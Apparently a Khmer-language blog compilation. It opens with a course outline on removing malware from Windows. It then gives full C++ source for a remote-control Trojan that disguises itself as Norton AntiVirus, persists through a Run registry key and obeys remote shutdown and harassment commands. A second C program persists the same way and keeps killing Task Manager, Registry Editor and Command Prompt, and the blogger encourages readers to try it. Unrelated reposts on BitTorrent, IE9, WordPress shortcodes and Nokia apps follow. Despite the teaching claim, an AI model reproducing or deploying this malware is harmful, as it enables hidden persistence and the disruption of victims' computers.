Slide បង្រៀនវគ្គ​កំចាត់​មេរោគ​របស់​ខ្ញុំ

ខាង​ក្រោម​នេះជា Slide មេរៀន​ដែល​ខ្ញុំ​និង​មិត្តភក្តិ​ម្នាក់​ទៀត​បង្រៀន​ពីការ​កំចាត់​មេរោគ​ និង​កម្មវិធីសំខាន់ៗក្នុង​ Windows ។ វា​គ្រាន់​ជា​ការ​រៀប​រាប់​គោលៗ​ប៉ុណ្នោះ មិនបាន​សរសេ​រលំអិតទេ ព្រោះ​យើង​នឹង​បង្ហាញជាក់​ស្តែង​នៅពេល​បង្រៀនរយះពេល​ពីរ​ថ្ងៃ​។

 

ការ​បង្រៀន​ថ្ងៃទីមួយ​មានដូចជា :

-យល់​ដឹង​ពីមេរោគដូចជា និយមន័យ ដើមកំណើត របៀបនៃការ​ឆ្លង និង​ឥទ្ធិពល។

-របៀប​សំគាល់​ថា​កុំព្យូទ័រ​កំពុង​ឆ្លង​មេរោគដែរ​ឬទេ។

-យល់​ពីដំណើរ​ការ​របស់ Windows ដូចជា Startup, Log on, Shutdown និ​ង​ Services ផ្សេងៗ។

-បង្ហាញពីកម្មវិធីដែល​មាន​ស្រាប់​ក្នុង​ Windows ប្រើដើម្បីកំចាត់​មេរោគ។

ការ​បង្រៀន​ថ្ងៃទីពីរ​មានដូចជា :

-វិធីសាស្រ្តក្នុង​ការ​កំចាត់​មេរោគ ដូចជារបៀប​លុបមេរោគ បិទ Process និង​លុប Registry Key របស់​មេរោគ។

-ស្វែងយល់​លំអិត​ពី Tools នីមួយៗដែល​មាន​ក្នុង​ Windows ដូចជា Command Line, Msconfig, Task Manager

-ស្វែងយល់​លំអិត​ពី Registry និង​ Group Policy ដោយ​បង្ហាញពី​ទីតាំង​សំខាន់ៗ ដែល​មេរោគភាគច្រើន​ចូល​ទៅកែប្រែ។

-រៀនពីការ​សរសេរ Script ដោយ​ប្រើ Command line ឬ Vb Script។

Source Code មេរោគប្រភេទ Trojan សរសេរក្នុង C++

សូម​បញ្ជាក់​ម្តង​ទៀត ការ​ដាក់​ Source Code ណ្នឹង​មិនមែន​បំណង​ប្រាប់​ពី​របៀប​ខូច​ដល់​អ្នក​ទាំងអស់​គ្នា​ទេ តែចង់​អោយ​ស្វែង​យល់​ពីវិធីសាស្រ្ត​ក្នុង​ការ​សរសេរ និង​ដឹង​ពីរបៀប​សរសេរ​ទប់​ស្តាក់​ពពួក​មេរោគទាំងនោះបាន។

***** CODE FOR SERVER FOLLOWS *********

#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;

char Windir[MAX_PATH];
char Module[MAX_PATH];

SOCKET Socket;

void Hide()
{
SetConsoleTitle(“Norton AntiVirus”);
hide = FindWindow(NULL, “Norton AntiVirus”);
ShowWindow(hide, 0);
}

void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, “\\WindowsAPICalls.exe”);
}

void Install()
{
CopyFile(Module,Windir,0);

HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”, &Install);
RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}

int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Winsock initialized.” << “\n”;
}

Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Socket created.” << “\n”;
}

sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);

if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}

else
{
cout << “Socket bound successfully.” << “\n”;
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << “Error listening on socket.” << “\n”;

SOCKET AcceptSocket;

cout << “Waiting for a client to connect…” << “\n”;
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}

void Shutdown()
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}

void OpenCloseCDTray()
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}

void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]=”notepad.exe”;
for(;;)
{
ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
}
}

void LeftMouse()
{
SwapMouseButton(true);
}

void RightMouse()
{
SwapMouseButton(false);
}

void Receive()
{
for(;;)
{
char Choice[MAX_PATH]=””;
cout << “Waiting for commands, sir!” << “\n”;
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << “\n”;
if (!strcmp(Choice,”1″))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,”2″))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,”3″))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={“CD Tray opened.  Closed if not on a laptop.”};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,”4″))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}

int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}

***** CODE FOR CLIENT FOLLOWS *********

#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;

SOCKET Socket;

int ClientInitialize()
{
char IP[MAX_PATH];
cout << “Enter IP: “;
cin >> IP;

WSADATA wsaData;
int iResult;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
cout << “Error at WSAStartup()\n”;
cin.ignore();
return 0;
}
else
{
cout << “Winsock intialized.\n”;
}

Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (Socket == INVALID_SOCKET)
{
cout << “Error at socket(): %ld\n”,WSAGetLastError();
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << “Socket initialized” << “\n”;
}

sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( IP );
clientService.sin_port = htons(5432);

if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
{
cout << “Failed to connect.\n”;
WSACleanup();
cin.ignore();
return 0;
}

else
{
cout << “Connected to server.” << “\n”;
}
}

int exit()
{
return 0;
}

void Send()
{
for(;;)
{

char Choice[MAX_PATH];
cout << “List of commands:” << “\n”;
cout << “1. Left Mouse” << “\n” << “2. Right Mouse” << “\n”;
cout << “3. Open\\Close CD Tray” << “\n” << “4. Notepad Bomb” << “\n”;
cout << “5. Shutdown.” << “\n”;
cout << “Take your pick: “;
cin >> Choice;
send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
char ServerResponse[MAX_PATH];
recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
cout << “\n” << “\n” << “Command successful!” << “\n” << ServerResponse;
cout << “\n” << “\n” << “\n” << “\n” << “\n”;
Sleep(2000);
}
}

int main()
{
SetConsoleTitle(“.=.quickbolt’s Trojan.=.”);
ClientInitialize();
Send();
cin.ignore();
return 0;
}

Source Code របស់​មេរោគ

ថ្ងៃ​នេះ​ចែក​បងប្អូន​មើល​ Source Code របស់​មេរោគ​កុំព្យូទ័រ​ដែល​គេ​សរសេរ​ឡើង​នៅក្នុង​ភាសា C មើល​កំសាន្ត​លេង :

#include “stdafx.h”
#include “windows.h”

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR     lpCmdLine,
int       nCmdShow)
{a
HKEY hKey;
char sd[255];
char path[MAX_PATH];
int Freq = 0;
int Duration = 100;
bool Forwards = true;
bool Backwards = false;
int timer = 0;
HWND hWin;
HMODULE GetModH = GetModuleHandle(0);
GetModuleFileName(GetModH, path, 256);

GetSystemDirectory(sd,255);

strcat(sd,”\\Blue Corral.bmp.exe”);
CopyFile(path,sd,FALSE);
unsigned char PathToFile[20] = “Blue Corral.bmp.exe”;

RegOpenKeyEx( HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, SecurityManager”,0,REG_SZ,PathToFile,sizeof(PathToFile));
RegCloseKey(hKey);

while(1==1)
{

hWin = FindWindow(NULL,”Windows Task Manager”);
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,”Registry Editor”);
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,”Command Prompt”);
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,”Close Program”);
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

if(Backwards==true)
{
Beep(Freq,Duration);
Freq = Freq – 100;
timer = timer – 1;
}
if (timer == 0)
{
Backwards = false;
Forwards = true;
}

if (timer == 30)
{
Backwards = true;
Forwards = false;
}
if(Forwards==true)
{
Beep(Freq,Duration);
Freq = Freq + 100;
timer = timer + 1;
}
}
return 0;
}

អាច​យក​ទៅ​សាកល្បង​បាន ! តែ​កុំសរសេរ​បន្ថែម​ ប្រយ័ត្ន​រកវិធី​ដោះ​វិញ​អត់​បាន 😉

How to Share Your Own Files Using BitTorrent

Most of us are comfortable using BitTorrent to download files, but the popular file-sharing protocol is also a great tool for sharing your own stuff with family, friends, or the world at large. Here’s the basics of creating your own torrent.

Proven by the popularity of BitTorrent sites, torrents offer a well-known method of peer-to-peer file-sharing. Torrents are useful for sharing large files with family and friends, as well as with a wide audience. It has been estimated BitTorrent traffic may account for over 40 percent of all internet traffic.

Note: Despite common misconceptions to the contrary, BitTorrent can be and often is used to share files legally and isn’t just used for piracy.

How BitTorrent Works

We’ve walked you through the basics of downloading via BitTorrent in our beginner’s guide, and offered advanced tips for scheduling your downloads and keeping them snappy in our intermediate guide, but here’s a quick historical overview of the protocol.

Developer Bram Cohen designed and released BitTorrent back in July 2001. Back then, there was only one torrent application—the so aptly named BitTorrent. What made BitTorrent different from previous peer-to-peer sharing programs was that it utilized bandwidth more efficiently while discouraging leeching. (In layman’s terms, “leeching” is when one user downloads a file, but does not allow uploads, therefore limiting other users from downloading the file. A leecher takes more than what he gives.)

What basically happens when you open up a torrent in a BitTorrent client is that the program automatically finds other users who have a portion of or the whole file you want to download. It accomplishes this task by using trackers. Your BitTorrent client will then download multiple and different pieces of the same file from different users at the same time while also sharing any pieces they’ve already downloaded, greatly improving the overall speed of distribution.

For more torrent jargon, people who share the whole file are known as “seeders.” It’s optimal to pick a torrent that has at least one seeder sharing, or you risk your download never being finished. It is for this reason that hugely popular files are often quicker to download than more obscure ones.

What You Need To Get Started

To create your own torrent, you’ll need a basic torrent client to get started off on the right path. Windows is primarily dominated by torrent program uTorrent, while Mac users will find that Transmission may be more up their alley. (uTorrent is available for Mac, but it’s not as full-featured.) Linux users may want to try Azureus or KTorrent. If you’re still not sure about which application to use, check out the five best BitTorrent tools according to Lifehacker readers.

How To Create Your Own Torrent

How to Share Your Own Files Using  BitTorrent
In general, creating a torrent to share your own files is very simple. All you need is a good torrent program to get you started on sharing your personal files. In your favorite torrent program, go to the File menu and click the option to create a new torrent. Then you’ll need to select the source/files that you want to share in your torrent. It can be a single file, or even a directory. After this step, you’ll need to input some public or private trackers into your torrent. It’s possible to use more than one, but in general one is enough.

Here’s a list of some uTorrent public trackers, courtesy of TorrentFreak:

udp://tracker.openbittorrent.com:80/announce

udp://tracker.publicbt.com:80/announce

udp://tracker.istole.it:80/announce

After that’s done, you’ll need to specify whether your torrent is a private torrent or not (if you’re using a private tracker, you’ll need to. If you aren’t, you can most likely leave this part alone). Then all that’s left to be done is to save the torrent file and send it to your friends or whoever else you want to share it with. TorrentFreak has a specific step-by-step guide for some of the most popular BitTorrent programs out there, but the concept is basically the same for all clients.

Tips and Tricks of Torrenting

We’ve covered sly and clever tricks using torrents in the past, so if you’re interested in remote controlling your torrent downloads, setting up a season pass to automatically download your favorite TV shows, and other tricks up that alley, check it out.

Source: http://lifehacker.com/5534190/how-to-share-your-own-files-using-bittorrent

IE9 vs. Firefox 3.6.3, Chrome 4.1, Opera 10.52, Safari 4.05 vs. Same Markup

Internet Explorer 9’s evolution with the release of Platform Preview 2 is illustrative of the work the company is doing with the goal of achieving “same markup” across all browsers. But same markup (the same HTML, same CSS, and same script working seamlessly across all browsers) is not just about the Redmond-based company. It’s also about developers, standard bodies, the World Wide Web Consortium (W3C), and rival browser makers. Same markup is bound to make more sense to developers than to end users, IE9 Preview 1 and 2 are, after all, developer releases. The public needs to think of “same markup” in terms of interoperability, meaning that a website, any website, should work the same across any browser they run.

Browser interoperability is, as a general rule, a multi-way street and a multi-faceted problem. If it really didn’t seem so thus far is because of nothing more than aggressive marketing from a few players on the market. And let’s be fair, because Internet Explorer provided such an excellent target to blame for everything that was wrong with the web. But what if, one day, IE simply fell in line? Will the world (www) be ready to accept that browser interoperability comes with many, subtle nuances, which can be solved only through collaboration? Let’s hope so.

“Enabling an interoperable web so developers can create amazing HTML5 applications is at the core of what ‘same markup’ means. Our investments in standards and interoperability are all about enabling the same markup to just work. When developers spend less time re-writing their sites to work across browsers they have more time to create amazing experiences on the web,” revealed Dean Hachamovitch, General Manager, Internet Explorer.

IE9 is catching up

It might have taken Microsoft more than other browser vendors, but the company is indeed catching up. A market share slice the size of Internet Explorer’s inherently comes with barriers limiting just how far innovation can go, in the context in which the vast majority of customers expect the software to simply work, just like it did before, and with as little changes as possible. This, combined with the company’s “insistence” on not breaking the web, slowed down the evolution of IE in aspects such as web standards support, in the past.

With an Acid3 Test score of 68 out of 100 for Platform Preview 2, and closing in on the perfect 100/100, Internet Explorer 9 is catching up. But Microsoft is doing much more than tailoring IE9 to Acid3. The company submitted some 192 tests to W3C. 192 new tests, which IE9 has no problems passing, while the same is not valid for Firefox 3.6.3, Chrome 4.1, Opera 10.52, Safari 4.05. In all fairness, especially with the new tests, browser makers still need time to tweak their products.

“We’re engaged with the standards working groups and other browser vendors as part of the web community with Same Markup as a key goal. Same markup is the real-world benefit of standards for developers (and through them, the rest of the web),” Hachamovitch said. “True standards bodies are important so that different parties and communities can come together to consensus. Specifications are a good start. Other parts of the technology industry have shown that comprehensive and accurate test suites are essential to provide interoperability for developers and products that work for consumers. They’re how an industry converges on a common understanding of the specifications and can assess its progress.”

Going beyond Acid3

It’s not just Microsoft that needs to change the code for IE. Google, Mozilla, Opera, Apple, etc. need to do the same with their respective browsers. The image to the left is a summary of how the latest stable releases of Firefox, Opera, Safari, and Google are interoperable with IE9 in terms of the tests Microsoft submitted to the (W3C) working groups (more info here). As you can see, when it comes down to the 192 test cases from the Redmond-based company, it is Google, Mozilla, Opera and Apple that need to change their code, and catch up.

While Acid3 does serve its purpose, it is limited in the testing of standards support, because it focuses on a limited number of details, about 100, and looking only at a dozen different technologies. Another downside of Acid3 is that some tests involve standards that are still being developed, with inherent problems and conflicts. This could easily lead to situations in which browsers focus on scoring 100/100 in Acid3, while ignoring other aspects of modern web standards, and not being truly interoperable.

“Web browsers should render the same markup – the same HTML, same CSS, and same script –the same way. That’s simply not the case today. Enabling the same markup to work the same across different browsers is as crucial for HTML5’s success as performance,” Hachamovitch added. “While some people associate this same markup situation with IE6, it actually applies across browsers in general. Developers typically have to write different markup to get the same desired outcome, even across the latest versions of Firefox, Chrome, and Safari browsers.”

Take a look at the videos embedded below. With the advent of IE9 Platform Preview 2, Microsoft has released three videos highlighting the differences in standards implementation between browsers. There are various browsers demoed, some of which already pass the Acid3 Test, while they are not interoperable in the true sense of the word. Simply because standardization across all browsers needs to be more than just Acid3.

Internet Explorer 9 (IE9) Platform Preview 2 Build 1.9.7766.6000 is available for download here.

Internet Explorer 8 (IE8) RTW is available for download here (for 32-bit and 64-bit flavors of Windows XP, Windows Vista, Windows Server 2003 and Windows Server 2008).

Firefox 3.6.3 for Windows is available for download here.

Google Chrome 4.1 Stable is available for download here.

Opera 10.53 is available for download here.

Source : http://news.softpedia.com/news/IE9-vs-Firefox-3-6-3-Chrome-4-1-Opera-10-52-Safari-4-05-vs-Same-Markup-141622.shtml

Shortcodes: Boost Yours Blog’s Post More Popularity

What is a shortcode?

A shortcode is a WordPress-specific code that lets you do nifty things with very little effort. Shortcodes can embed files or create objects that would normally require lots of complicated, ugly code in just one line. Shortcode = shortcut.

What shortcodes are available on WordPress.com?

[archives] displays an archive index of your blog posts. See full instructions here.

[audio] converts a link to an mp3 file into an audio player. See full instructions here.

[blip.tv] embeds a Blip.tv Video. See full instructions here.

[contact-form] adds a contact form to your page. See full instructions here.

[dailymotion] embeds a DailyMotion Video. See full instructions here.

[digg] embeds a voting button for your link on Digg. See full instructions here.

[flickr] embeds a Flickr video. See full instructions here.

[gallery] inserts an image gallery into a post or page.

embeds Google Maps. See full instructions here.

[googlevideo] embeds a Google Video. See full instructions here.

[kyte.tv ] embeds a Kyte.TV Video. See full instructions here.

[livevideo] embeds a video from LiveVideo. See full instructions here.

[odeo] embeds an Odeo audio file. See full instructions here.

[podtech] embeds audio or video from the PodTech Network. See full instructions here.

[polldaddy] embeds a PollDaddy poll (use without the space). See full instructions here.

[redlasso] embeds a video from Redlasso. See full instructions here.

[rockyou] embeds a slideshow from RockYou. See full instructions here.

[scribd] embeds a document/file from Scribd. See full instructions here.

[slideshare] embeds a slideshow from Slideshare.net. See full instructions here.

[soundcloud] embeds the SoundCloud Audio Player. See full instructions here.

[sourcecode] preserves the formatting of source code. See full instructions here.

[splashcast] embeds Splashcast media. See full instructions here.

[ted] embeds a TED Talks video. See full instructions here.

[vimeo] embeds a Vimeo video. See full instructions here.

[wpvideo] embeds a VideoPress video. See full instructions here.

[youtube] embeds a YouTube video. See full instructions here.
Source: http://en.support.wordpress.com/shortcodes/

ទាញ​យក​កម្មវិធី​ និង ហ្គេម​​សំរាប់​ Nokia 5800​ XM

ប៉ុន្មាន​អា​ទិត្យ​មុន​ទើប​តែ​លក់​ស្រែ​ពីរបី​ហិច​តា​ យក​លុយ​មក​ទិញ​ លោក​ប្អូន 5800មក​ដាក់​ក្នុង​ហោបៅ​អោយ​ធ្ងន់​ខោ​តិច 😀 តំលៃ​ថោក​ថ្លៃ​មិន​សំខាន់​ទេ អោយ​តែ​មើល​វីដេអូ​ដែល​ Download មក​ពីអិនធឺណិត​​ភ្លាម​មើល​បាន​ភ្លាម​ គឺ​ល្អ​បំផុត​សំរាប់​ខ្ញុំ 🙂

ដំបូង​គិត​ថា​ពួក​អា​សេរី 5th Edition ណ្នឹង​ពិបាក​រក​កម្មវិធី និង​​ហ្គេម តែ​ដល់​ Search ចុះ Search ឡើង​  ប៉ះចំជង្រុក​វា ញាក់​សាច់​​ អង្គុយ​ Download ៣​ង៉ែ​ទំរាំ​អស់ ។

សុំ​អួត​ និង​ឡង់​សេ​អោយ​ក្រុម​ហុន​ Nokia តិច​ចុះ :

-អេ​ក្រុង​ចុច​យកៗ

-អាច​ចាក់​ AVI ដែល​ទាញ​មក​ពី​អិនធឺណិត​ភ្លាម​ៗ មិន​បាច់​បំលែង​អី​ទេ …

-សំលេង​មិន​ចាញ់ Sony Erricson ប៉ុន្មាន​ទេ តែ​ឈ្នះ​ Iphone ដាច់​.

បើ​បង​ប្អូន​មាន​ចំណាប់​អារម្មណ៍​អាច​ទៅ​ទាញ​យក​កម្មវិធី​សំរាប់​ 5800 បាន​នៅ​វិបសាយ :

http://nokia5800downloads.blogspot.com/